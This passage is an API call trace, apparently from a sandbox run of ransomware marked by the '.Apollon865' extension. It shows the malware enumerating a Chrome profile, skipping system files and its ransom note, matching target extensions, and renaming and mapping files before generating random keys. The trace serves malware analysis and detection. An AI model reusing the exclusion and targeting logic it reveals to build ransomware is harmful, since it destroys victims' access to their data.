	[0046.676] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.676] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.676] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="Apollon865.txt.exe") returned 1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2=".") returned 1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="..") returned 1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="windows") returned -1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="bootmgr") returned 1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="temp") returned -1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="pagefile.sys") returned -1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="boot") returned 1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="ids.txt") returned -1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="ntuser.dat") returned -1
	[0046.676] lstrcmpiW (lpString1="Cache", lpString2="perflogs") returned -1
	[0046.677] lstrcmpiW (lpString1="Cache", lpString2="MSBuild") returned -1
	[0046.677] lstrlenW (lpString="Cache") returned 5
	[0046.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*") returned 77
	[0046.677] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Cache" | out: lpString1="Cache") returned="Cache"
	[0046.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0046.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x599cf0
	[0046.677] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0046.677] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d406e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d406e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d1e730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="Apollon865.txt.exe") returned 1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2=".") returned 1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="..") returned 1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="windows") returned -1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="bootmgr") returned 1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="temp") returned -1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="pagefile.sys") returned -1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="boot") returned 1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="ids.txt") returned -1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="ntuser.dat") returned -1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="perflogs") returned -1
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2="MSBuild") returned -1
	[0046.677] lstrlenW (lpString="Cookies") returned 7
	[0046.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned 81
	[0046.677] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Cookies" | out: lpString1="Cookies") returned="Cookies"
	[0046.677] lstrlenW (lpString="Cookies") returned 7
	[0046.677] lstrlenW (lpString="Apollon865") returned 10
	[0046.677] lstrlenW (lpString=".dll") returned 4
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2=".dll") returned 1
	[0046.677] lstrlenW (lpString=".lnk") returned 4
	[0046.677] lstrcmpiW (lpString1="Cookies", lpString2=".lnk") returned 1
	[0046.677] lstrlenW (lpString=".ini") returned 4
	[0046.678] lstrcmpiW (lpString1="Cookies", lpString2=".ini") returned 1
	[0046.678] lstrlenW (lpString=".sys") returned 4
	[0046.678] lstrcmpiW (lpString1="Cookies", lpString2=".sys") returned 1
	[0046.678] lstrlenW (lpString="Cookies") returned 7
	[0046.678] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Cookies-journal" | out: lpString1="Cookies-journal") returned="Cookies-journal"
	[0046.678] lstrlenW (lpString="Cookies-journal") returned 15
	[0046.678] lstrlenW (lpString="Apollon865") returned 10
	[0046.678] lstrcmpiW (lpString1="es-journal", lpString2="Apollon865") returned 1
	[0046.678] lstrlenW (lpString=".dll") returned 4
	[0046.678] lstrcmpiW (lpString1="Cookies-journal", lpString2=".dll") returned 1
	[0046.678] lstrlenW (lpString=".lnk") returned 4
	[0046.678] lstrcmpiW (lpString1="Cookies-journal", lpString2=".lnk") returned 1
	[0046.678] lstrlenW (lpString=".ini") returned 4
	[0046.678] lstrcmpiW (lpString1="Cookies-journal", lpString2=".ini") returned 1
	[0046.678] lstrlenW (lpString=".sys") returned 4
	[0046.678] lstrcmpiW (lpString1="Cookies-journal", lpString2=".sys") returned 1
	[0046.678] lstrlenW (lpString="Cookies-journal") returned 15
	[0046.678] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Current Session" | out: lpString1="Current Session") returned="Current Session"
	[0046.678] lstrlenW (lpString="Current Session") returned 15
	[0046.678] lstrlenW (lpString="Apollon865") returned 10
	[0046.678] lstrcmpiW (lpString1="nt Session", lpString2="Apollon865") returned 1
	[0046.678] lstrlenW (lpString=".dll") returned 4
	[0046.678] lstrcmpiW (lpString1="Current Session", lpString2=".dll") returned 1
	[0046.678] lstrlenW (lpString=".lnk") returned 4
	[0046.678] lstrcmpiW (lpString1="Current Session", lpString2=".lnk") returned 1
	[0046.678] lstrlenW (lpString=".ini") returned 4
	[0046.678] lstrcmpiW (lpString1="Current Session", lpString2=".ini") returned 1
	[0046.678] lstrlenW (lpString=".sys") returned 4
	[0046.678] lstrcmpiW (lpString1="Current Session", lpString2=".sys") returned 1
	[0046.679] lstrlenW (lpString="Current Session") returned 15
	[0046.679] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Current Tabs" | out: lpString1="Current Tabs") returned="Current Tabs"
	[0046.679] lstrlenW (lpString="Current Tabs") returned 12
	[0046.679] lstrlenW (lpString="Apollon865") returned 10
	[0046.679] lstrcmpiW (lpString1="rrent Tabs", lpString2="Apollon865") returned 1
	[0046.679] lstrlenW (lpString=".dll") returned 4
	[0046.679] lstrcmpiW (lpString1="Current Tabs", lpString2=".dll") returned 1
	[0046.679] lstrlenW (lpString=".lnk") returned 4
	[0046.679] lstrcmpiW (lpString1="Current Tabs", lpString2=".lnk") returned 1
	[0046.679] lstrlenW (lpString=".ini") returned 4
	[0046.679] lstrcmpiW (lpString1="Current Tabs", lpString2=".ini") returned 1
	[0046.679] lstrlenW (lpString=".sys") returned 4
	[0046.679] lstrcmpiW (lpString1="Current Tabs", lpString2=".sys") returned 1
	[0046.679] lstrlenW (lpString="Current Tabs") returned 12
	[0046.679] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.Apollon865") returned 99
	[0046.679] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs.apollon865"), dwFlags=0x1) returned 1
	[0046.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0046.680] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=294) returned 1
	[0046.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0046.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0046.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0046.688] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0046.689] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0046.689] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.689] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x430, lpName=0x0) returned 0x160
	[0046.695] MapViewOfFile (hFileMappingObject=0x160, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x430) returned 0x100000
	[0046.696] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0046.697] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0046.697] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.697] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.697] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.697] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0046.697] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.697] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.697] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.697] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0046.697] CloseHandle (hObject=0x160) returned 1
	[0046.698] CloseHandle (hObject=0x150) returned 1
	[0046.698] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0046.698] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0046.698] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0046.698] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="data_reduction_proxy_leveldb", cAlternateFileName="DATA_R~1")) returned 1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="Apollon865.txt.exe") returned 1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2=".") returned 1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="..") returned 1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="windows") returned -1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="bootmgr") returned 1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="temp") returned -1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="pagefile.sys") returned -1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="boot") returned 1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="ids.txt") returned -1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="ntuser.dat") returned -1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="perflogs") returned -1
	[0046.698] lstrcmpiW (lpString1="data_reduction_proxy_leveldb", lpString2="MSBuild") returned -1
	[0046.698] lstrlenW (lpString="data_reduction_proxy_leveldb") returned 28
	[0046.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 88
	[0046.698] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="data_reduction_proxy_leveldb" | out: lpString1="data_reduction_proxy_leveldb") returned="data_reduction_proxy_leveldb"
	[0046.698] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0046.698] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd2) returned 0x599450
	[0046.698] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0046.699] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Extension Rules", cAlternateFileName="EXTENS~3")) returned 1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="Apollon865.txt.exe") returned 1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2=".") returned 1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="..") returned 1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="windows") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="bootmgr") returned 1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="temp") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="pagefile.sys") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="boot") returned 1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="ids.txt") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="ntuser.dat") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="perflogs") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension Rules", lpString2="MSBuild") returned -1
	[0046.699] lstrlenW (lpString="Extension Rules") returned 15
	[0046.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned 104
	[0046.699] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Extension Rules" | out: lpString1="Extension Rules") returned="Extension Rules"
	[0046.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0046.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1518
	[0046.699] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0046.699] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Extension State", cAlternateFileName="EXTENS~2")) returned 1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2="Apollon865.txt.exe") returned 1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2=".") returned 1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2="..") returned 1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2="windows") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2="bootmgr") returned 1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2="temp") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2="pagefile.sys") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2="boot") returned 1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2="ids.txt") returned -1
	[0046.699] lstrcmpiW (lpString1="Extension State", lpString2="ntuser.dat") returned -1
	[0046.700] lstrcmpiW (lpString1="Extension State", lpString2="perflogs") returned -1
	[0046.700] lstrcmpiW (lpString1="Extension State", lpString2="MSBuild") returned -1
	[0046.700] lstrlenW (lpString="Extension State") returned 15
	[0046.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned 91
	[0046.700] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Extension State" | out: lpString1="Extension State") returned="Extension State"
	[0046.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0046.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c15d8
	[0046.700] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0046.700] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="Apollon865.txt.exe") returned 1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2=".") returned 1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="..") returned 1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="windows") returned -1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="bootmgr") returned 1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="temp") returned -1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="pagefile.sys") returned -1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="boot") returned 1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="ids.txt") returned -1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="ntuser.dat") returned -1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="perflogs") returned -1
	[0046.700] lstrcmpiW (lpString1="Extensions", lpString2="MSBuild") returned -1
	[0046.700] lstrlenW (lpString="Extensions") returned 10
	[0046.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned 91
	[0046.700] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Extensions" | out: lpString1="Extensions") returned="Extensions"
	[0046.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0046.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xae) returned 0x599530
	[0046.700] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0046.700] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80cce2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80cce2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80db2b00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favicons", cAlternateFileName="")) returned 1
	[0046.700] lstrcmpiW (lpString1="Favicons", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.700] lstrcmpiW (lpString1="Favicons", lpString2="Apollon865.txt.exe") returned 1
	[0046.700] lstrcmpiW (lpString1="Favicons", lpString2=".") returned 1
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2="..") returned 1
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2="windows") returned -1
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2="bootmgr") returned 1
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2="temp") returned -1
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2="pagefile.sys") returned -1
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2="boot") returned 1
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2="ids.txt") returned -1
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2="ntuser.dat") returned -1
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2="perflogs") returned -1
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2="MSBuild") returned -1
	[0046.701] lstrlenW (lpString="Favicons") returned 8
	[0046.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 86
	[0046.701] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="Favicons" | out: lpString1="Favicons") returned="Favicons"
	[0046.701] lstrlenW (lpString="Favicons") returned 8
	[0046.701] lstrlenW (lpString="Apollon865") returned 10
	[0046.701] lstrlenW (lpString=".dll") returned 4
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2=".dll") returned 1
	[0046.701] lstrlenW (lpString=".lnk") returned 4
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2=".lnk") returned 1
	[0046.701] lstrlenW (lpString=".ini") returned 4
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2=".ini") returned 1
	[0046.701] lstrlenW (lpString=".sys") returned 4
	[0046.701] lstrcmpiW (lpString1="Favicons", lpString2=".sys") returned 1
	[0046.701] lstrlenW (lpString="Favicons") returned 8
	[0046.701] lstrlenW (lpString="bak") returned 3
	[0046.701] lstrcmpiW (lpString1="ons", lpString2="bak") returned 1
	[0046.701] lstrlenW (lpString="ba_") returned 3
	[0046.701] lstrcmpiW (lpString1="ons", lpString2="ba_") returned 1
	[0046.701] lstrlenW (lpString="dbb") returned 3
	[0046.701] lstrcmpiW (lpString1="ons", lpString2="dbb") returned 1
	[0046.701] lstrlenW (lpString="vmdk") returned 4
	[0046.701] lstrcmpiW (lpString1="cons", lpString2="vmdk") returned -1
	[0046.702] lstrlenW (lpString="rar") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="rar") returned -1
	[0046.702] lstrlenW (lpString="zip") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="zip") returned -1
	[0046.702] lstrlenW (lpString="tgz") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="tgz") returned -1
	[0046.702] lstrlenW (lpString="vbox") returned 4
	[0046.702] lstrcmpiW (lpString1="cons", lpString2="vbox") returned -1
	[0046.702] lstrlenW (lpString="vdi") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="vdi") returned -1
	[0046.702] lstrlenW (lpString="vhd") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="vhd") returned -1
	[0046.702] lstrlenW (lpString="vhdx") returned 4
	[0046.702] lstrcmpiW (lpString1="cons", lpString2="vhdx") returned -1
	[0046.702] lstrlenW (lpString="avhd") returned 4
	[0046.702] lstrcmpiW (lpString1="cons", lpString2="avhd") returned 1
	[0046.702] lstrlenW (lpString="db") returned 2
	[0046.702] lstrcmpiW (lpString1="ns", lpString2="db") returned 1
	[0046.702] lstrlenW (lpString="db2") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="db2") returned 1
	[0046.702] lstrlenW (lpString="db3") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="db3") returned 1
	[0046.702] lstrlenW (lpString="dbf") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="dbf") returned 1
	[0046.702] lstrlenW (lpString="mdf") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="mdf") returned 1
	[0046.702] lstrlenW (lpString="mdb") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="mdb") returned 1
	[0046.702] lstrlenW (lpString="sql") returned 3
	[0046.702] lstrcmpiW (lpString1="ons", lpString2="sql") returned -1
	[0046.702] lstrlenW (lpString="sqlite") returned 6
	[0046.702] lstrcmpiW (lpString1="vicons", lpString2="sqlite") returned 1
	[0046.702] lstrlenW (lpString="sqlite3") returned 7
	[0046.702] lstrcmpiW (lpString1="avicons", lpString2="sqlite3") returned -1
	[0046.703] lstrlenW (lpString="sqlitedb") returned 8
	[0046.703] lstrlenW (lpString="xml") returned 3
	[0046.703] lstrcmpiW (lpString1="ons", lpString2="xml") returned -1
	[0046.703] lstrlenW (lpString="$er") returned 3
	[0046.703] lstrcmpiW (lpString1="ons", lpString2="$er") returned 1
	[0046.703] lstrlenW (lpString="4dd") returned 3
	[0046.703] lstrcmpiW (lpString1="ons", lpString2="4dd") returned 1
	[0046.703] lstrlenW (lpString="4dl") returned 3
	[0046.703] lstrcmpiW (lpString1="ons", lpString2="4dl") returned 1
	[0046.703] lstrlenW (lpString="^^^") returned 3
	[0046.703] lstrcmpiW (lpString1="ons", lpString2="^^^") returned 1
	[0046.703] lstrlenW (lpString="abs") returned 3
